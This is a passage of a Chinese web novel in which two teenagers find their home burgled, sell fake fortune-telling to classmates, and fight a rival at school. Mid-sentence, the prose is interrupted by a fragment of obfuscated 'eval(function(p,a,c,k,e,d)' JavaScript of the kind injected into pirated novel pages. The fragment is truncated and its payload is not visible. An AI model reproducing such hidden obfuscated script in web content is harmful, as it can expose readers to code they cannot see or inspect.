两个人走在一起,互相默契地留给彼此合适的距离。 郑策没再说话,享受路上难得的安宁,不存在冒犯,也不疏离的感觉。 像是找到了同类,黑暗。 这边居民区很旧,路灯基本不管事,随机踩着粑粑都是常中的奖,两个人走得很慢。 到楼下时,骆远方啧了声。 “他们都还没回去。” 二楼窗户漆黑,没开灯。 想到什么,他又补充道,“骆乘光有分寸,会照顾好江蔚云的。” “我知道,也不知道是谁一整天想的多。” 郑策故意加重语气说,转头却愣住了。 “诶,给门换锁是防着……” 话还没说完,铁门吱丫一声被风吹开。 房间里漆黑一片,此时在诡异的门响声里,显得格外寂静,又空旷深远。 两人均是楞在原地。 郑策把骆远方往后一拦,“我去开灯。” 脚刚踏进门,不小心踢着地上横倒的空瓶,郑策的手又被骆远方拉住。 “一起。” 他不容置疑地跟在郑策身后,如果有什么突发事件,起码能最快做出反应。 郑策没推开他,她自己也有些害怕,反手紧握住骆远方的手,颤颤巍巍挪到门边。 “啪嗒”一声,灯开了。 房间里的狼藉也一览无余。 翻箱倒柜后满地的瓶瓶罐罐,所有东西都被掏出来丢在地上。 “我,操。” 骆远方捏紧拳头骂道,“再敢有人上门蹲着,我绝不放过他们!” 想也不想就知道是谁干的。 话音刚落,一声巨响破空,紧接着是玻璃碎裂的声音。 窗户被什么东西砸碎了。 视线被窗户外面吸引,一个黑影此时又射了进来。 “嘭”的一声,忽然头顶灯泡炸裂,屋里瞬间又陷入黑暗。 郑策被吓得踉跄了两步,看不清脚下,往后退的时候摔倒在地,脑袋应该是磕到柜子上,生疼。 突然的惊吓让胸口起伏不平,耳边还残留玻璃炸裂的声音。 “有完没完啊!”郑策朝窗户外面喊。 气急下,她拿起手边的一个玻璃杯就朝窗外面扔。 她是胡乱扔的,单纯发泄而已。 一声闷哼,外面的人估计没反应过来他们能这么快回击。 打中了。 脚步声混乱着远离,再追出去为时已晚。 房间里,玻璃碎片落了一地。晦暗月光下,窗户上那个大洞像张血盆大口,吸食黑夜和一切。 冷风灌了进来,冰凉彻骨。 郑策第一反应是庆幸,今天先回家的是他们俩。 这些人一看就是专门挑着人回去的时候给的下马威。 王八玩意儿。 脑仁生疮烂□□的狗东西。 “骆远方?”郑策发现他很久都没发出声音,问。 房间里除了靠近窗户的地方有点月光映照,越靠里的位置越黑。 她忽然有些紧张。 刚玻璃炸裂的瞬间,她甚至能感受到一阵疾风从脸边刮过。 骆远方站的位置更靠近窗户,非常可能受伤了。 没有回应。 郑策更急,语气里带上几分怒意:“骆远方?你他妈还活着就吭一声。” 脑子还有些晕眩,郑策手忙脚乱地在衣服兜里摸手机。 点开电筒的瞬间。 她听见沙发背后的声音,很小,带着颤音,像是埋在蓄满棉花的枕头里。 闷闷的。 “郑策,我有点怕。” 骆远方的声音断断续续的,跟地上斑驳的月光一样,支离破碎。 郑策的心被他的语气给揪了起来。 23. 我?原配 郑策拿着手机电筒四处晃了下,满地反光的玻璃片像梦里的星河,刺眼但锋利。 微弱的光照到沙发背后时,郑策愣住了。 骆远方抱着膝盖,像是尽力想把自己缩小成一团,把头埋在胳膊里。 自己给自己围出了一片安全地带。 她站起来的时候头晕了下,摇摇脑袋站定。 郑策小心走过去,先用光照着他检查了一遍,确认没受伤后。 在骆远方旁边靠着沙发也蹲坐下来。 “骆远方?” 她盯着骆远方因为害怕而紧绷的脊背,伸手去抚了抚。 像是在安慰什么小动物。 手触碰到的时候,感受到他颤了瞬,郑策楞了下,又稳稳地贴住他。 “怎么了?” 她轻声问。 “没事了,不用怕。” 骆远方仍旧把头埋在胳膊里,闷声竟然开始安慰她。 他两手互相抓着胳膊,指甲生生嵌进肉里,郑策犹豫了下,去掰他手指。 “骆远方,骆远方你听我说,我们得把这儿收拾了,他们待会儿都会回来。” 听到这话,骆远方手上松了劲,果然在手臂上留下五个红色指印。 “那是什么!” 一个黑影从电筒不大的照亮范围里闪过,骆远方刚把头抬起来,瞳孔紧缩。 “是我手的影子。” 郑策急忙道道,想到什么,把手机递给骆远方。 “给你看个好玩的。” 虽然不知道骆远方为什么会突然这样,但她忽然想到个缓和气氛的办法。 郑策两只手在电筒前找定适合距离,两手手背靠在一起,手指分开,远处地面上出现一个小兔子的影子。 她接着把左手放在右胳膊下面,食指微勾,地上多了个摇尾巴的小猫。 “怎么样?” 郑策笑着说,“没想到你竟然还怕黑,江蔚云怕黑我就这样安慰的,有用么?” 骆远方似乎缓过来了,把手机塞给她,两手也是一比划,麋鹿、鹦鹉、野狼、雄鹰,大象,直接表演了个动物世界。 郑策挑眉道,“强啊!” “一般吧。”骆远方语气里没什么力气,但心情似乎缓和不少。“小时候一个人没事干的时候会玩。” “骆乘光呢?” 之前在派出所听见他小时候的事,还有之前郑策关于骆远方的记忆里几乎没见过骆乘光,她就一直想问。 “他成绩好在外地念书,家里出事了才回来的。” 骆远方不在意地笑笑,“挺争气一个孩子,也懂事。” 郑策心里不知道为什么有些难受,一时没开口。 骆远方长舒一口气,像是在自我纾解地说:“所以骆乘光能出去念书,我能有今天,都是多亏了他们的钱……因为这个,我就对他们下不去手你知道么。” 他顿了顿,仰头靠在沙发靠背上,眼睛不知道在看哪里。 “我会尽力还上一点的。” 郑策倾过身去,手臂环过骆远方的脖子,抱住了他。 另外三个人回来的时候,在门口见着的就是两个幼稚园小朋友在墙上比划谁的动物更凶猛。 一时不知道是该为家里遭贼惊讶,还是为两个高三生突然失智哀悼。 江蔚云怀里的两只小鸡发出两声不屑的“叽叽”。 回来的路上,她已经给两鸡取好了名字,一个叫屁大爷,一个叫球大爷。 相当具有地域骂人特色。 骆乘光先去买了灯泡,郑策给换上。 忙忙活活收拾完一地狼藉已经半夜了,窗户只能先通着风,第二天再处理。 一晚上每个人都没太睡安稳,总是担心窗户那边有人爬进来。 郑策半夜起床的时候,看见窗边飘飘摇摇的一个黑影,浑身汗毛警钟大作。 她差点当场嘠过去。还好理智在最后时刻告诉她那是江蔚云的氢气球。 第二天骆乘光也说他起夜的时候看见氢气球的影子,直接滑跪在厕所瓷砖上。 跳舞的动作从来没这么标准过。 骆远方同时表示吓得他把拖鞋扔过去,结果掉出窗外,半夜又下楼去捡拖鞋…… 一觉睡到大天亮的江蔚云对此表示:“哈哈哈哈,你们胆子好小啊!” 三个黑眼圈无神地相互看了眼,默契地叹了口气。 然后氢气球不知道被谁给捆在窗边,一个没注意,上天嘹。 其实之前骆家也遭遇过这样的洗劫,所以他们三个人都习惯把重要的东西随身带着,家里只有破旧的家具和一堆破烂。 因此连防盗窗也没安。 但此次来的人对骆家很熟悉,知道郑策的房间没人住,根本没进去。 算是逃过了一劫。 于是,除了坏的玻璃和一个灯泡,零损失。 骆淇对此不满道:“不如把我偷走卖了,我想去旅游!” “美得你。”骆远方说,“老胳膊老腿还得给你买意外险。” 其实郑策挺佩服骆淇的豁达的,也很向往。 小时候她如果不小心弄丢了东西,妈妈会心疼地安慰她没事,但实际上却展现事情很严重的样子。而她爸爸因为打工的事已经够糟心了,会大发雷霆。 所以她从来不敢乱扔东西。 虽然骆淇说她以前也是斤斤计较过来的,但郑策真心地希望自己老了也能改过来这种小气的性子。 中午放学,两人都回来帮忙。 郑策把门锁加固了下,又装了把据说她都撬不开的锁,一人分发一把钥匙。 骆远方去三厂“偷”了张完整的玻璃回来,还是门卫亲自送回来的,郑策不得不佩服他广泛的交友能力。 而骆乘光中午负责做饭。 不得不说,两兄弟平日里一个比一个气人,关键时刻却都能靠得住。 吃午饭的时候周全和褚铭又带了一堆兄弟过来。 各个大冬天的露膀子露腿,狼牙棒水管拿在手里转,在这片咋咋呼呼巡逻了一圈。 “谁他妈偷了我兄弟家,老子看他活得不耐烦了。”周全横眉冷眼吼道。 褚铭冷声说:“刚好我们也不太走正道,下次再试试,好让我们认认脸。” 周全一听,小声凑到褚铭耳边,“下次还是别再折腾远方了吧。” 褚铭瞪他一眼,喊道:“见着昨晚砸窗户的人说一声,我们有重谢!” 几个兄弟在背后拱手作揖。 这一通扫荡,没定性的人家差点报警。 一通警告,之后骆家就算开着门睡觉也没什么大问题了。 事后,褚铭把骆远方拉到一边小声问:“吴雨说学校有活动找你拍摄你不去?” “啧。”骆远方皱了皱眉,“他都告到你这儿来了。” “你别这幅无所谓的样子。” 褚铭看着他,捏了捏骆远方肩膀,“他问我们你是不是还在去俱乐部,说你都虚了。” “他放屁。” 骆远方说,“把他叫过来,我单挑他。” 周全听见这边的动静,端着满满一碗菜凑过来,劈头盖脸也问: “你不是挺喜欢拍视频的么?怎么不干了?” …… 骆远方觉得自己有必要警告一下吴雨少管闲事。 他不耐烦道:“拍不好,不想干了。” “屁,你……”周全想也不想就反驳他,被褚铭一巴掌堵住。 骆远方这次回来,对出去六个月的经历提得很少。也不像之前拿着DV机随时记录下他们的喝酒时的傻逼场景了。 “随便你,以前你也总说用视频记录这些很有趣。” 褚铭说,“我们反正作为门外汉,觉得你拍的不错,就是……不要太急着放弃了。” “嗯。”骆远方心不在焉地应道。 在学校,骆远方和郑策两人心照不宣都没提起家里的事。 这个年纪的人似乎格外敏感,将学校院墙内外的世界界限分明。 家里再不堪再糟心,穿上校服后所有人似乎都是一样的,讨论最新的游戏和电视剧。 即使是最好的朋友之间也不愿意迈出这一步,打破之间微妙的平衡。 像江蔚云说的,得是十分要好的朋友才会被邀请去家里。 那是另一个自己处在的世界,可能不完美,可能要暴露更多脆弱和柔软的地方。 但骆远方和郑策因为寄住的关系,直接跳过了这步。 这让他们在学校里拥有共同的秘密。 像是在这里找到一个落脚点,不用担心刚转校来不合群,因为有个人早就和自己站在一方。 有点秘而不宣的暧昧和甜蜜。 下午去教室的时候,毫不知情的安城北从抽屉里掏出一叠裁剪均匀的黄色纸符。 贱兮兮地看着骆远方:“骆哥,重操旧业不?” “不操。” “操吧。”安城北不想放弃,“我家伙什都准备好了,这群被成绩迷了心眼的呆子比队里的人更容易信。” “不想操。” 一中午都在忙活,骆远方有些没精打采地趴在桌上,下巴抵在桌面,嘴巴被挤得嘟了起来。 “操吧操吧操吧……” “我靠,你俩说话能不能文明点。” 郑策终于听不进去这些污言秽语,打断他们。 “我靠,骆远方又开始算命了吗?”学委路过的时候有些激动地停在他们旁边。 郑策一愣。 齐深又说:“之前就听说你看手相挺准,但因为是运动队的,没人敢麻烦你。能不能卜一卦,算算我周考成绩。” 齐深呲牙朝骆远方笑,露出一嘴钢牙,纯厚的镜片反射愚蠢的精光。 安城北没说话,朝他挤眉弄眼,意思是: 你看这些人是不是学疯了,这来钱不比队里快? 郑策不屑地切了个“七”字出来,就听见骆远方冷漠道:“十块。” 她震惊地转过身看他。 起码在郑策目前的认知里,骆远方比一般人要沉稳得多,这种坑蒙拐骗的事怎么套也套不到他头上。 “十五。” 安城北立马补充,“我这儿还有材料和助理费,骆哥的本事你既然知道,苗疆三代单传,老祖宗的手艺。大牌子肯定比杂货贵。” 神他么名牌效应。 这坐地起价…… 面不红心不跳的,两人不愧是商人的后代。 学委扶着眼睛犹豫了下,心一横,低吼一声,似乎想为自己加油鼓气。 吓得两人往后一仰。 他咬牙切齿道:“行。我妈说这回低于年级一百,就把我手机收了,实在风险大。先算一卦,我两手准备,看能不能买个烂手机蒙混过关。” 这么个两手准备啊…… 郑策觉得他不如去多看两页书。 骆远方把眼镜戴上,掰直学委的手仔细端详。此时旁边已经站了五六个好事者。 不是他们都学疯了,就是郑策疯了…… “熬夜学习么?”骆远方看着他手相,面无表情问。 “熬。” “做题还流畅么?最近学习外有什么烦心事?” “没什么,相比高一的题,不会的有点多。” 学委认真回应,一副在老中医面前病入膏肓,急于求医的样子。 “各科小练习我看一眼。”骆远方仍旧故作深沉道。 学委屁颠屁颠去取,周围见他一副被折服的模样,都有些蠢蠢欲动。 郑策心里却了然,这不就是排除外界干扰因素,看他最近的正确率来估计考试的正确率嘛。 这些学霸一般都不自信,考完试一个个天都塌了,最后成绩出来却会都名列前茅。 基础是在那儿的。 所以,如果这样分析的话…… “能进。”骆远方斩钉截铁下结论。 相比较故弄玄虚的江湖道士,给一些模棱两可的答案,这倒是让郑策有些惊讶。 他手一勾,摘下眼镜,从前桌的道具处取来一张黄符,用签字笔在上面写写画画。 别说,还挺像个意思,一看就是为了这件事专门去学过。 像电视里往僵尸头上贴的那种长得差不多的鬼画符。 郑策随手拈来的东西。 就是这一戴一摘眼镜的动作,有些多余。 你他妈这么近的距离,看不清掌纹?老花么? 学委大喜过望,和骆远方一手交钱一手交货。 骆远方却捏住纸符没动,看着他最后说:“之后会有些许情绪波动,保持现在状态,过;陷进去,败。” 这话被他用非常严重的口吻说出来,顿时添加几分可信度。 加上学委心有余悸地转身时,骆远方看都没看他,小声叹了句:“小心摔倒啊。” 众人就在一片惊呼中看见学委被脚边的一摞书绊倒在地。 尘嚣四起中,生意来了。 依郑策来看,骆远方这人原本观察能力就挺强。不论是在车站第一回见面时,看出她的尴尬,还是在之后帮她搬家时,一进门就看清形势。 他总是能迅速地掌握周围人的情绪,并不失时机地点出来。 这不是什么算命,而是一直需要承担着这个家,需要小心翼翼的生活环境决定的。 她看着这边大排长龙有些惆怅,一手撑着下巴,一手转着笔,目光逐渐失焦。 一个没留神,笔从手里脱落,墨水在骆远方校服上留下长长一道痕迹。 哦豁。 “免费送你一句。” 骆远方垂头看了眼,把笔捡起来还给她。 “你这次周考,要砸。” 众人瞬间向郑策投来怜悯的目光。 有毒吧您。 虽然郑策知道骆远方是让她快点复习的意思,但她还是想翻白眼。 郑策瞪他一眼。 林歌此时忽然转过身,将什么东西往郑策桌面上一拍,“不怕,我用塔罗给你算算,中西合璧,百战不殆。” 郑策想起学校铁围栏上写的四字宣传标语: “中西合璧”。 果然不错,被这群玩世不恭的学生演绎到淋漓尽致。 林歌这两天总是挑着中午和下午放学的一点时间去打印店打工,而且频率越来越高,根本没时间休息,作业也常常落下,脸上疲色越发重。 郑策忽然看到她露出来的一小截手腕,不动声色抓住,小声问:“谁干的?” 林歌点头,表示她猜的没错。 郑策忽然急了,“这你都不走?” “我本来赚的差不多了,去提想走的,结果他忽然生气了,不给合同,还威胁我。” 林歌无奈道,“不过之后会加钱,也给了我医药费,也还可以吧。” 她避重就轻,没说那老板因为郑策的事,对她大发雷霆,以为她也要勒索钱财的事。 这他妈不是卖身契是什么。 郑策沉默了下,皱着眉复述道,“本来都要走了……” 她叹了口气,没再说什么。 “来来来,给我算算,周测到底能不能逆风翻盘。” 看在林歌把塔罗牌都拿出来的份上,郑策不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对方这架势,滚肯定是不行的。 郑策虽然心里对骆远方鄙薄不已,但看了一圈周围。 这些读书人,一个个瘦得跟鸡似的。 真打起来,只有安城北还能派得上用场。 她飞速给林歌递了张纸条,往椅背上一靠,哼笑道:“脑子都长在肌肉里了,能数得清一二三么?” “你他妈……” 杨吟瞪着她,转而一笑,对骆远方说,“你新找的?” “我?原来的。” 郑策仍旧靠在椅子上,不紧不慢回道。 她垂着眼琢磨着手里转笔的速度,要是这家伙突然发力,将笔甩过去,砸在脑门上,定要让丫的晕一晕。 骆远方挑了挑眉看向她这边。 郑策没注意到回答的有什么问题。 却发现林歌还在前桌一动不动。 她无奈下踢了她椅子一脚。 林歌被吓得猛然站起来。 福至心灵,原来纸条上三个字念: 找、老、师! “你又干什么?” 杨吟没想到今天竟然接连有女生帮骆远方出头,有些恼火。 “我尿急。”林歌尴尬道。 …… “同学,我们要上课了,你的成绩能听得懂九班的课么?” 郑策为了不让冲突进一步升级,决定自己来挑衅,分散火力。 前排传来几声哄笑。 “就是,我们班再怎么说也是大火箭,虽然比不上小火箭和清北班,但是你们连平行班也进不去吧?” 安城北似乎抓住把柄,有些得意地回怼。 他的话就过于羞辱了。 郑策心里叹了口气,天知道她本意只是转移火力。 绝无搞歧视的意思。 没想到发展成了班级之间的鄙视链。 这时再怪该死的校领导区别对待已经来不及。 因为后面那几位的怒火眼看着蹭蹭蹭就往上涨,把头发都快点着了。 眼看着情势快控制不住,郑策现在只希望林歌能跑得快一点。 一个不合时宜的想法从脑子里冒出来: 她不会真的尿急吧? “我是听不懂啊,但校医院检查出你是神经病,就听得懂吗?” 杨吟歪着嘴笑着看郑策。 直勾勾的眼神,像是在看动物园的小丑。 郑策没想到自己的事竟然传得这么快。 她猛地睁大眼睛。 难怪面熟,被柯言带去校医室时,里面自己给自己脚踝上药的那个男生! 她头皮一紧,心脏忽然跳动得厉害,随即一句话不过脑子就说了出来。 郑策歪了歪头,颇有兴味地笑着看着杨吟。 “那神经病打你不会被处分吧?” 说话间她手已经摸到旁边的扫帚。 这清洁间在座位后面,就他妈是她的兵器库! 杨吟瞬间退后两步,让出距离,准备下一步动作。 打架,他从来不怵的。 安城北心里一惊,扑过来就要拉郑策。 他能有这样识大体的举动着实让郑策挺震惊的。 但安城北刚把她的手压下去,就觉察不妙。 身后,骆远方抡着拳头已经朝杨吟砸去。 杨吟毫不示弱,瞅准他的下腹就出手。 但骆远方竟然非常灵敏一侧身躲过,转身同时踢脚,踹飞一位想上来帮忙的义士。 紧接着他双手钳制住杨吟胳膊,推着他往后退了几步,却被杨吟个无赖用铁头功磕在鼻子上,一阵迷糊。 杨吟趁此机会逃脱。 一来一回间,安城北发现有些不对劲。 “我靠,骆哥这六个月去练自由搏击了吗?” 安城北被他这一套连贯的招式给震惊。 “你他妈跑了六个月原来没白费嘛。” 杨吟吐了口被打出来的牙血。最后一排的同学有些恶心地把座位往前让了让。 他邪笑着继续说:“跟你那个骗子……” 话还没说完,骆远方一手握着椅背,拖行两步,举起来就要朝杨吟砸去。 “你他妈真是活腻了。” 所有人都被吓在原地。 学校打架斗殴不少,但再混的人如杨吟之流,也时刻谨记自己要考大学的身份。 说好听点是点到为止,从不越界。 但椅子被举起来的瞬间,在场所有人眼里只剩惊恐。 安城北此时后悔拦错人了。 这两人没一个省心的! 这种时候倒是默契得很…… 骆远方此时像个发狠的猛兽,根本失去了理智,眼里的狠厉像是要把杨吟给撕碎。 要是骆远方真的练过了…… 杨吟快跑啊!!! “骆远方!” 所幸此时还有学委保持超人的冷静,推了推眼镜,大喊着提醒他。 “注意分寸!” 看来学委也被这人毫不注意分寸的话给激怒了。 安城北深吸一口气看向学委。 不应该直接叫他住手么! 这个班难道只有他是最理智的? 他回头看了眼其余人。 也只是从一惊一乍弹跳马里奥,变成了浑身僵硬肃穆的观看状态。 跑啊杨吟!! 骆远方他疯了!!! 你戳着别人底线了!!!! 逆鳞啊逆鳞!!! 24. 奶奶想你了 哐当一声,椅子被骆远方反手抡了出去,相较于从头顶扣下来,杀伤力一下子降到未成年人免费级别。 杨吟原本是护头,没想到胃部先中招,被砸得龇牙咧嘴一脸狰狞。 骆远方一字一顿,“别,把人家的私事到处乱说。” 骆远方上前钳制住他胳膊往后一推,杨吟完全被压制退后几步。 “别再把我,和顾元,扯在一起。” 他声音沉下去,慢条斯理中带着玩味,“你他妈是不是听不懂?” “……你他妈找死。” 杨吟张牙舞爪就要反扑上来,骆远方非常轻松一抓,反转他的胳膊,抵着他的背就往下压。 “我回来没找你,是我他妈懒得动手。” 骆远方拧住他企图抓向自己脸的爪子,抬腿对着杨吟胸口一踢。 杨吟有些不可置信地倒在自己兄弟们温暖的怀中。 “你做的那些狗屎事,还有屁脸一而再再而三找我麻烦!” 骆远方说到后面声音大了起来,情绪也有些激动。 郑策没放下手里的棍子,死死地盯着那边。 从骆远方和安城北的反应来看,这人不是什么好茬。 她有些担心。 忽然,安城北从她旁边冲了过去。 以一个非常暧昧的姿态胸贴背地抱住骆远方,对着对面有些措手不及的人喊:“知道打不过还不跑啊!” 骆远方挣扎了下,安城北却像个口香糖黏在他身上。 跟过山车座椅似的,甩都甩不掉。 安城北有些气喘吁吁地骂道:“杨吟你顶他妈不是东西,挑着别人痛处骂,你就该啊,你就该!” “你放开他,老子不信了,我们单挑。” 杨吟略显狼狈地爬起来,一手撑在了自己刚吐的血上。 还嘴硬。 旁边一小兄弟满脸嫌弃地看着他,杨吟一恶心,撇着嘴伸手揩在了他身上。 小兄弟:…… 此时骆远方冷静过来,逐渐放弃挣扎。 倒是安城北还戏精上瘾,试探着蠕动来蠕动去,把骆远方当成个人形盾牌。 他伸出脖子骂: “丫有病啊,口气比脚气大,还想打!” 不知怎么的,剑拔弩张的情势,在安城北嘴炮王者一己之力下,变成了小学生打嘴仗。 “我看你们一个个乌鸦笑猪黑,自己不觉得!” 柯言冷着脸负手站在门口,她往杨吟那边一看,吼道: “谁班上的?跑到九班来找麻烦,吃饱了撑的我看!” 场上激烈的局势瞬间死寂。 此时,从门框边又走出来一个男人,体型远远高过柯言。 是体训班的班主任。 班主任是个麦色皮肤的大块头,但此时因为理亏,对柯言点头哈腰道歉。 转身眼神里又像是要吃了那几个人,朝他们招了招手。 “滚回去,丢人现眼!” 柯言其实很厉害,教学水平高且不流俗之外,在学生管理和同事相处方面很有一套办法。 最后处理结果以打架斗殴者在周一升旗的时候做检讨收场。 虽然是别人上门来找事,但柯言秉持着宽以待人严于律己的精神,看在骆远方把对方选手打得一败涂地的份上,强烈要求自己班两个傻逼也去做检讨。 “老师您想展现高风亮节的一面,也没必要拿我俩牺牲啊!” 安城北一脸苦涩。 “虽然检讨的时候说‘抱歉你们上门找事,被我打得爬不起来’很爽,但是我丢不起这个人啊老何,老柯!” “行了。”柯言剜他一眼,“我又不是不知道你们给我起的外号,何仙姑就何仙姑吧,起码沾点仙气。” “不是,其实是因为,你是人才引进回来的,外来和尚好念……” 安城北说到一半,被骆远方用力咳嗽给打断。 但欠揍的没说完,心里不舒坦,小声嘟囔继续找死,“……经,八仙过海来九中受难。其实还有个外号叫柯人才……” 柯言看着他没说话。 平复了下心情,柯言转过头去对郑策说:“下周一国旗下的讲话暨收心大会开学动员,你代表九班去吧。你普通话标准,成绩又好……虽然暂时不太好,但都能理解。” “啊?”郑策以为自己是来接受处罚的,没想到领到一个活。 “这件事我也有责任的。” 她主动揽下。 “次、奥——”安城北一听,不乐意了,艰难地开口。 “这个社会就是看不起我们成绩差的呗。都参与了,凭什么她讲话,我们检讨?” “你只要能把你的成绩和高尚的思想品德在全校师生面前表彰出来,我就让你去呗。” 柯言皮笑肉不笑地看着他,又对郑策肯定道,“我说你能去就能去。” 想起骆远方退队也是因为没有靠山,成绩不行,与这次情况大致类似。 郑策有些过意不去。 回去的路上,她主动提出帮他们俩写检讨。 这件事如果没有自己火上浇油那句话,让安城北找着契机,说不定还发展不到这个程度。 天可怜见,她本意是拖延时间的。 “不用。”骆远方简单拒绝她。 “我要我要我要!”安城北怎么可能有便宜不占,“我还要旺旺碎冰冰!” “……少看点广告吧。”骆远方带着些可怜的意味拍了拍他。 下午的物理课,郑策理所当然地没听,持续冬眠。 每天的物理作业她只把最后一题给做出来,还全对。这让吴雨对她有些无可奈何了都。 眼睛一闭一睁,感觉这辈子都快过去了。 放学的时候,郑策架着两只胳膊悠悠转醒,跟被人卸下来了一样僵硬着动弹不得。 她看了眼旁边的座位。 骆远方已经先走了。 黑心肝的玩意儿,都不叫她。 今天这阵仗不比一起打扫礼堂,更算共患难啊…… 其实骆远方逃课前犹豫了下,要不要叫醒郑策,交代一声。 但对方睡得昏天黑地,他最后还是放弃了。 不过出门没两步,又被柯言给当场抓获。 语文作业那么多,班主任事情也不少,您怎么老是在学校里瞎逛呢! 柯言看见他无奈地叹了口气,只说希望他既然选择了回来,就真的收心吧。今天的事也是因为她没盯住,被杨吟钻了空子。 骆远方心情不好能理解,强迫学也学不进去,下不为例。 于是,骆远方沉默着答应下来,在自家班主任的护送下逃了课,感觉总是怪怪的。 有种走上黄泉路的错觉。 总有错觉,背后那双眼睛要把他整个人给烧着,最后都走成了顺拐。 离开学校,骆远方不知道自己到底想去哪里。 唯一随时对他开放的金店,此时有些不想面对。 虽然他知道周全他们和杨吟不是一类人,但这他们和杨吟在外人面前是没有区分的。 那他呢。 是否在别人眼里也是蛮不讲理的街溜子形象。 他有些烦躁。 这些烦躁像春水浇灌的嫩芽,一经破土,拦也拦不住。 说起来还要源于出走的六个月。 六个月的拍摄期,一开始原本很顺利,大家都挺照顾他。 但后来随着别人对自己的好奇增加,骆远方忽然失望地发现,自己只是被当成了一个失足少年看待。 他曾引以为傲的梦想和技术,在这些人眼里,根本不值一提。 而这些人沉醉其中的,仅仅是自己把一个辍学少年引入正道,那种高高在上的自我满足感。 这些骆远方从来没和别人提起过。 因为感到恶心,羞耻,自卑,无颜面对。 甚至是对自己失望。 理不清的情绪让他有些喘不过气。 在春意渐浓的街道上兜了一圈,他还是坐在了安城北回家必经之路的球场边。 “不够义气啊骆哥,翘课不带我。” 安城北买了两根烤肠递给他,也坐在台阶上。 “今天那么憋屈了都,你走得潇洒,显得我多能忍啊。” “那你别忍。”骆远方有些想笑。 “不忍不行啊,吴雨今天眼睛长我身上了。”安城北想起就难受,浑身不自在。 骆远方刚吃了一口烤肠,胳膊被人撞了下,整根烤肠当场殒命。 他看着地上的烤肠尸体,不耐烦骂了声:“卧槽。” “对不起哥哥!” 抱着篮球的小男孩一脸惊恐看着他,怀里的球掉了下来。 “我不是故意的。” “没事没事你走吧。”安城北向他摆手。 “你吃火药了?” 等小男孩犹豫着走远后,安城北用胳膊肘撞了下骆远方。 “骆哥你发现你最近脾气不太好没?我这半根给你吃。” “感觉郑策那家伙身上的烦躁跳蚤传染给我了,看什么都不顺眼。”骆远方恶狠狠地咬了一口。 但其实他现在这样,能随时随地表达不满。还挺爽的。 一个人在外的那六个月,自从知道别人对自己的态度后。 他一直蔫儿蔫儿的,提不起精神来,做什么都感觉是别人在可怜自己。 他尽力压抑情绪,不让自己表现为他们眼中刻板的问题少年,易怒,暴躁,冲动。 六个月几乎没有情绪变化,骆远方都以为自己快成仙了。 直到回来遇见了郑策。 一暴躁且放屁如同风铃般吵闹的女子。 现在这些情绪变化,虽然让他有些手足无措,但确实是久违了。 像是回到家,不用再照顾和考虑别人眼色的自在感。 问题少年就问题少年呗,他活这么大,从来都是个问题。 “伤不起,真的伤不起,我想你想你想你想到昏天黑地……” 远处广场舞开跳,安城北跟着哼了两句,对上骆远方的眼神,又自觉严肃脸闭了嘴。 骆远方想把他给叉出去。 没心没肺的玩意儿。 “这两天我帮你们看店。” 骆远方看着只有五个篮球高的小朋友满场被球追着跑,状似无意道。 “啊?”安城北迟疑了下,回道,“为什……” “能不问么?” “那行,这两天正好让我妈休息下。” 安城北从善如流点点头。 似乎想到什么,安城北犹豫了下,又吞吐道: “关于郑策吧,我原本不该说的。我之前在柯言的资料里看见了郑策的信息……上面写的……父母双亡。” 他想了想又痛心疾首,似乎做了很久的心理建设。 “还是不该说,啧,但确实挺可怜的。就是觉得你……” “……是嘛。”骆远方沉默了会儿,点点头。 “知道的人多么?” “对天发四,如果不是看你俩水火不容的,我谁也不会说。” 安城北伸出四根手指起誓,有些语重心长道。 “她也不见得多烦,还借我作业抄呢,所以你能让让就让让人家……” 骆远方被这句话噎了下。 此时,被篮球追着跑的小孩忽然大喊一声,就开始狂奔。 骆远方似乎看见了一只比小孩大两倍的哈士奇眼睛里闪烁着惊恐开始逃窜。 眼看着哈士奇抵挡不过小男孩的攻势,要向自己求助了。 他突然站起来,僵硬道,“走。” “不用去这么早。”安城北仰头看他,咬掉最后一口烤肠。 “去吃饭。”骆远方说得很快,两步跨上楼梯,“我饿了。” “饿了就先吃。” 骆淇瞪着一桌的饭菜,火从中来,“龟儿子又一言不发就走,明天老子就把锁给换了。” 她郑重地看向郑策,“你就把锁给换了。” 晚饭时间骆远方也没回家。 骆家吃饭有电视配音,平日里骆远方话也不算多,但忽然少了一个人,即使在四川卫视循环抗日神剧,炸弹机关枪满天飞,我方士兵怎么杀都杀不死的漫天怒吼中。 房间里仍旧显得格外安静。 郑策主动去把碗洗了,再从厨房出来,客厅里只有骆乘光一个人。 和骆远方平时一样瘫在沙发上玩手机。 郑策经过的时候他忽然问: “我哥是出什么事了么?” 郑策有些尴尬,她确实不清楚骆·心思深沉·远方一天脑子里在胡乱想些什么。 她没参与过他之前的生活,对骆远方的过往更是知之甚少,不知道今天的事究竟触犯到这家伙哪根弦了。 啧。 她被当场叫成神经病,还没崩溃呢。 这小公主倒是先委屈上了。 “和别人起了点冲突。” 她没把中午的事全部抖出来,觉得这样的冲突,还是应该由骆远方自己来说。 骆乘光将信将疑点点头,又宽慰她说骆远方之前在运动队的时候经常说走就走,现在已经好很多了,让她不用担心。 “他,为什么退队?”郑策问。 “和队里的人起了冲突,违反了规定。” 骆乘光从手机上移开目光,偏过头看着她。 “他能进队全靠的是自己,退队的时候,我们家……没人能帮他。” 言下之意便是,当时退队的只有他一个人。 郑策心里不太好受。 “那人叫杨吟么?” 她问。 骆乘光有些意外地看着她,点了点头。 “这事儿他不太愿意提,你知道就行。” 后面几天骆远方都没去上课,郑策在教室竟然睡都睡不安稳了。 骆远方走了几天,她就破天荒听了几天课。 还挺有疗效。 而家里的气氛一连几天都有些沉重。 不知道是不是经历太多这样的时刻,虽然没人说,但郑策还是能明显感受到压抑。 周五放学,郑策洗完碗有些受不了,推门出去晃荡一圈。 拿出手机看了眼那个农民的微信,消息还停留在上次: 【午饭家里没人准备,自己解决。】 她忍着不耐烦才没删掉这个任性的人,把手机往兜里一揣,出门去。 这个季节,日落后温度还是很低,郑策把灰色冷帽往下拉遮住耳朵,眼睛藏在帽沿阴影后面,又把外套领口拉到顶,几乎只露出有些冻红的鼻尖。 无意识地四处乱走,路过九中的时候,脚下忽然一顿。 住校生还在上晚自习,教学楼里暖黄色灯火通明。 